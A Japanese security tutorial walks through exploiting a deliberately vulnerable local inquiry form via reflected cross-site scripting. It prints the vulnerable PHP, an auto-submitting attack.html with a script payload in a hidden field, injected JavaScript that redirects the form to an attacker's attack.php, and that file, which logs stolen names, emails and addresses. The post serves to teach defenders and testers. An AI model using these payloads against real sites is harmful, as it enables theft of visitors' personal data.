前回クロスサイトスクリプティングの脆弱性の有無をテストする方法について簡単にお伝えしましたが、セキュリティ技術者として働くうえでは脆弱性の悪用方法に関する理解も重要になります。攻撃の手口を把握していなければログを分析したとしても何が行われているか理解することはできませんし、どういったリクエストをセキュリティ製品で遮断すべきなのか判断できません。
そこで、実際にクロスサイトスクリプティングを悪用されるとどのようなことが起こりうるのか、攻撃者の視点で解説していきます。今回は前回用意した問合せフォームに対して攻撃用のJavaScriptを挿入することでフォームを改竄し、個人情報を奪取することをゴールとしています。法律に触れる可能性がありますのでJavaScript全てを載せることはできませんが、可能な限り理解できるように解説します。
今回の記事では脆弱性が存在する前提で説明を進めますが、解説についていけない・基本から知りたいといった方は前回の記事を事前に確認しておくことを推奨します。また本格的に脆弱性診断士やペネトレーションテスター、ホワイトハッカーを目指していきたい方は以下の書籍を読むことを推奨します。
クロスサイトスクリプティングの攻撃検証手順
まずクロスサイトスクリプティングの検証に使用する問合せフォームですが、前回の記事と同じで私が検証用に作成した問合せフォームを利用します。こちらのフォームにはクロスサイトスクリプティングの脆弱性を作り込んであります。
※CSSは載せていないので手元で作業した際レイアウトが異なるかと思いますが、本質的な検証内容には影響ありません。レイアウトにこだわりたい場合は自分でCSSを書くか、コードをコピペしてChatGPTに「よしなに修飾してください」といえばそれなりのものを作ってくれます。

//問合せフォーム(inquiry_form.html)
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Inquiry Form</title>
<link rel="stylesheet" type="text/css" href="styles.css">
</head>
<body>
<div class="container">
<h2>問合せフォーム</h2>
<form action="confirmation.php" method="POST">
<label for="name">お名前:</label>
<input type="text" id="name" name="name" required>
<label for="email">メールアドレス:</label>
<input type="text" id="email" name="email" required>
<label for="message">問い合わせ内容:</label>
<textarea id="message" name="message" rows="5" required></textarea>
<input type="submit" value="Submit">
</form>
</div>
</body>
</body>
</html>

//確認画面(confirmation.php)
<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
$name = $_POST["name"];
$email = $_POST["email"];
$message = $_POST["message"];
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Confirmation Screen</title>
<link rel="stylesheet" type="text/css" href="styles.css">
</head>
<body>
<div class="container">
<h2>確認画面</h2>
<p><strong>Here is the information you provided:</strong></p>
<ul>
<li><strong>Name:</strong><?php echo $name; ?></li>
<li><strong>Email:</strong><?php echo $email; ?></li>
<li><strong>Message:</strong><?php echo $message; ?></li>
</ul>
<form action="submission_completed.html">
<input type="button" value="Back" onclick="history.back();">
<input type="submit" value="Confirm">
</form>
</div>
</body>
</html>
検証手順の概要
通常の想定通り問合せフォームで必要な情報を入力して遷移すると「確認画面」に移行しますが、この「確認画面」に悪意のあるJavaScriptを流し込み、以下の2つ目の例のような個人情報の入力フォームに改竄します。そのうえで「Confirm」ボタンを押下した際の情報の送信先も攻撃者の用意したphpに変更、このphpファイルは送られてきた情報をテキストファイルとして出力する機能をもっているため、もし第三者が偽の入力フォームに個人情報を入れて送信すると、攻撃者の用意した環境に個人情報が出力されていくことになります。検証ではこの個人情報を抜き出すところまでを確認することとします。


//attack.php
<?php
$name = $_GET['name'];
$email = $_GET['email'];
$address = $_GET['address'];
// ファイルへの書き込み
$file = fopen("output.txt", "a");
fwrite($file, "Name: " . $name . "\n");
fwrite($file, "Email: " . $email . "\n");
fwrite($file, "Address: " . $address . "\n");
fclose($file);
echo "ファイルへの出力が完了しました。";
?>
第三者に改竄した画面で入力させる手口
画面を改竄することはわかったけれども、どうやって第三者にその改竄した画面を表示させるの?と疑問に思った人もいるでしょう。まずは簡単な例で説明していきます。
Webサイトの改竄は不要な入力フォームを削除、個人情報を抜き出すためのフォームを作成という流れで行いますが、単純化のため不要な入力フォームを削除するところまで行います。というわけで図1の本来の画面のタイトルを「確認画面」から「問い合わせフォーム」に変更し、「Name」「Email」「Message」の項目を削除します。これを実現するJavaScriptは以下の通りです。
//確認画面(confirmation.php)
…(略)…
<input type="button" value="Back" onclick="history.back();">
<input type="submit" value="Confirm">
</form>
</div>
…(略)…
<script>
window.addEventListener('DOMContentLoaded', (event) => {
var formfield = document.querySelector('form');
//form要素を選択
formfield.setAttribute('action', 'attack.php'); //form要素のaction属性を「attack.php」に変更
const strongElement = document.querySelector('p');
strongElement.remove();
const h2Element = document.querySelector('h2');
h2Element.textContent = '問合せフォーム';
const ulElement = document.querySelector('ul');
ulElement.remove();
});
</script>
</body>
</html>
このJavaScriptを第三者の画面上で「確認画面(confirmation.php)」を表示した際に実行させたいわけです。これを実現するためには悪意のあるJavaScriptを「確認画面(confirmation.php)」に送り込むための「attack.html」を作成し、第三者にこのhtmlを踏ませることで改竄された画面を表示させることができます。「attack.html」は以下の通りです。
上のコードで赤色に着色した部分を1行にしたうえで、input要素のname属性を通じてJavaScriptを送り込む内容になっています。
//attack.html
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>フォームの送信</title>
</head>
<body>
<form id="myForm" action="confirmation.php" method="POST">
<input type="hidden" name="name" value="<script>window.addEventListener('DOMContentLoaded',(event)=>{var formfield=document.querySelector('form');formfield.setAttribute('action','attack.php');const strongElement=document.querySelector('p');strongElement.remove();const h2Element=document.querySelector('h2');h2Element.textContent='問合せフォーム';const ulElement=document.querySelector('ul');ulElement.remove();});</script>">
<input type="hidden" name="email" value="test@gmail.com">
<input type="hidden" name="message" value="test">
</form>
<script>
document.addEventListener('DOMContentLoaded', function() {
document.getElementById('myForm').submit();
});
</script>
</body>
</html>
では試しにこの「attack.html」を踏んでみましょう。掲示板やメールなどで以下のような文章でリンクを踏ませると仮定します。検証はローカルの環境で行ってますのでURLもそれに準じたものになってます。
〇〇サイトの問合せなら以下の画面からできますよ。
http://127.0.0.1/attack.html
リンクを踏むと「attack.html」の内容の通り「確認画面(confirmation.php)」にリダイレクトされ、更に不正なJavaScriptが実行された状態になっていることがわかります。もともとの確認画面は「図1 本来の画面」の図の通り前の画面で入力されてきた内容を再度見る画面でしたが、攻撃者の意図通り第三者に改竄されたWebページを見せることに成功しました。またこの画面で「Confirm」ボタンを押下した際のもともとの遷移先は「submission_completed.html(送信完了画面)」でしたが、htmlのform要素を確認すると分かる通り「attack.php」に変更されてしまっています。
つまりここで先ほどのJavaScriptを個人情報を入力するフォームを付け加えるように改修し、第三者が気づかぬうちに個人情報を入力した場合、攻撃者の用意した「attack.php」にその内容が送信され、個人情報が奪取されることになります。

ここまでの説明でWebページにクロスサイトスクリプティング脆弱性があった場合、第三者に改竄されたページを表示させられることが理解できたかと思います。
クロスサイトスクリプティング攻撃の実例
では話を戻してどのように個人情報が奪取されてしまうのか、その実際の例をみていきます。センシティブな内容なのでここから先は実際の検証用JavaScriptの掲載は控え、原理の説明のみしていきます。ただ変更点としてはattack.htmlで送り込むJavaScriptを改修し、「図2 改竄された画面」のレイアウトにするようしただけですので基本的な流れは変わりません。
//attack.html(改修版)
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>フォームの送信</title>
</head>
<body>
<form id="myForm" action="confirmation.php" method="POST">
<input type="hidden" name="name" value="<script>…</script>">
<input type="hidden" name="email" value="test@gmail.com">
<input type="hidden" name="message" value="test">
</form>
<script>
document.addEventListener('DOMContentLoaded', function() {
document.getElementById('myForm').submit();
});
</script>
</body>
</html>
改修した後の「attack.html」を踏むと以下のような改竄されたフォームが表示されます。第三者が何も知らず個人情報を入力し終わった場面を想定してます。

「Confirm」ボタンを押下すると「attack.php」に個人情報が送信され、スクリプトが実行された結果攻撃者の指定した環境に個人情報が出力されました。今回「attack.php」実行後の画面ではファイルに出力した旨のメッセージが表示されてますが、本来の申し込み完了画面のレイアウトを再現すれば気づかれるリスクを最小限(というか専門の人でもなければまず気づかないでしょう)にしたうえで個人情報を奪取することが可能になります。


いかがでしたでしょうか?クロスサイトスクリプティング脆弱性があるとどういった被害を受けてしまう可能性があるのか、影響度やその手口について少しでも理解を深められたなら幸いです。冒頭でも述べましたがセキュリティ対策やペネトレーションテストなど、システムをより堅牢にするために本記事の内容は利用するようにしてください。
※悪用したら法律に触れるよ!